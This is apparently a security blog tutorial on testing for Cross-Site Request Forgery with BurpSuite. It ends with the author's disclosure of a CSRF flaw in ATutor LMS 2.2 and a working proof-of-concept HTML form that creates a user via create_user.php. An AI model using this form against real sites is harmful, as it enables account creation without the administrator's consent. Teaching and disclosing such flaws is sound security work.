Cross-Site Request Forgery (CSRF) is a type of vulnerability that happens when an application accepts a form request without validating its source.
This is also sometimes known as session riding (note that the word riding is used instead of hijacking). It is a different vulnerability from SQL injection.
To illustrate, think of a web application as a company’s building. The guard (the CSRF Token) checks the origin of every request, just as they would check an employee’s ID at the gate.
When testing for CSRF vulnerabilities, start by checking for this ‘ID’, or CSRF token. You can intercept and analyze a request using a web proxy, such as BurpSuite. The goal is to find random tokens verifying the form’s origin. There are two possible outcomes:
- If there’s no random token, the web application may be vulnerable to CSRF attacks.
- If a random token exists, test if the protection is correctly implemented. Try removing the token and proceed with the verification.
Burp Suite Pro users can generate a CSRF Proof of Concept (right click → Generate POC). Free online tools are also available. Upon generating the proof of concept, open the HTML file and click the button. If the form executes successfully, the web application could be vulnerable to CSRF attacks. Otherwise, you should see a controlled error message.
Some common CSRF-sensitive pages includes:
- Create, update, delete of users or group
- Posting of entries
- Web application settings
Most of the time developers do not see a CSRF on a logout page as a vulnerability because it does not pose any security risk. If “exploited”, it is more of an annoyance legitimate user.
CSRF on ATutor LMS
Here are screenshots of an actual CSRF vulnerability that I discovered in ATutor CMS.
You could see that there are only two users.
This is the exploit which the attacker have to trick the legitimate administrator to execute.
The button is just a form request without any random tokens.
Here is an example of the exploit.
<form action="http://127.0.0.1/atutor-2.2/ATutor/mods/_core/users/create_user.php" method="POST"> <input name="form_password_hidden" type="hidden" value="ef0f8b6ffb699f90933a3321b00ff6769e018b94" /> <input name="login" type="hidden" value="csrfuser99" /> <input name="email" type="hidden" value="[email protected]" /> <input name="private_email" type="hidden" value="1" /> <input name="email2" type="hidden" value="[email protected]" /> <input name="first_name" type="hidden" value="csrfuser99" /> <input name="last_name" type="hidden" value="csrfuser99" /> <input type="hidden" value="3" /> <input type="hidden" value="Save" /> <input type="submit" value="Submit request" /> </form>
Upon clicking the “Submit request” button, you could see that a new user is created. This means that we have successfully exploited the vulnerability.
Want to find out more on using sqlmap (open source tool for finding SQL injection)? You can read more at my sqlmap tutorial.